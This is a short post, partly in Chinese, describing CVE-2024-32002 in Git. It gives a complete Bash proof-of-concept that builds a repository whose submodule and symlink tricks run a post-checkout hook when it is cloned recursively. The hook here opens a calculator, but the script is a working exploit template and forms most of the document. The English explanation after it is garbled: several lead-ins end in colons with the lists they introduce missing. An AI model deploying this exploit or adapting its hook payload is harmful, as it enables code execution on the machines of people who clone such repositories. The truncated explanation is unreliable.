
CVE-2024-32002 是 Git 中的一个严重漏洞,允许攻击者在用户执行 git clone 操作时远程执行任意代码(RCE)。
Bash Script:
#!/bin/bash
# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
# Avoid warning messages (set default branch to main)
git config --global init.defaultBranch main
# Define tell-tale path
tell_tale_path="$PWD/tell.tale"
# Initialize hook repository
git init hook
cd hook
mkdir -p y/hooks
# Write malicious code to hook, compatible with Windows and macOS
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe
open -a Calculator.app
EOF
# Make hook executable: important
chmod +x y/hooks/post-checkout
git add y/hooks/post-checkout
git commit -m "post-checkout"
cd ..
# Define hook repository path
hook_repo_path="$(pwd)/hook"
# Initialize captain repository
git init captain
cd captain
git submodule add --name x/y "$hook_repo_path" A/modules/x
git commit -m "add-submodule"
# Create symbolic link
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
cd ..
# Local testing (not needed for GitHub)
git clone --recursive captain hooked
Plain English Explanation:
This Bash script creates a malicious Git repository that exploits a vulnerability (CVE-2024-32002) to execute malicious code when someone clones the repository.
Here's a breakdown of what the script does:
When someone clones the "captain" repository, the malicious script will run on their computer, potentially leading to harmful consequences like:
To protect yourself from such attacks:
By following these precautions, you can significantly reduce the risk of falling victim to similar attacks.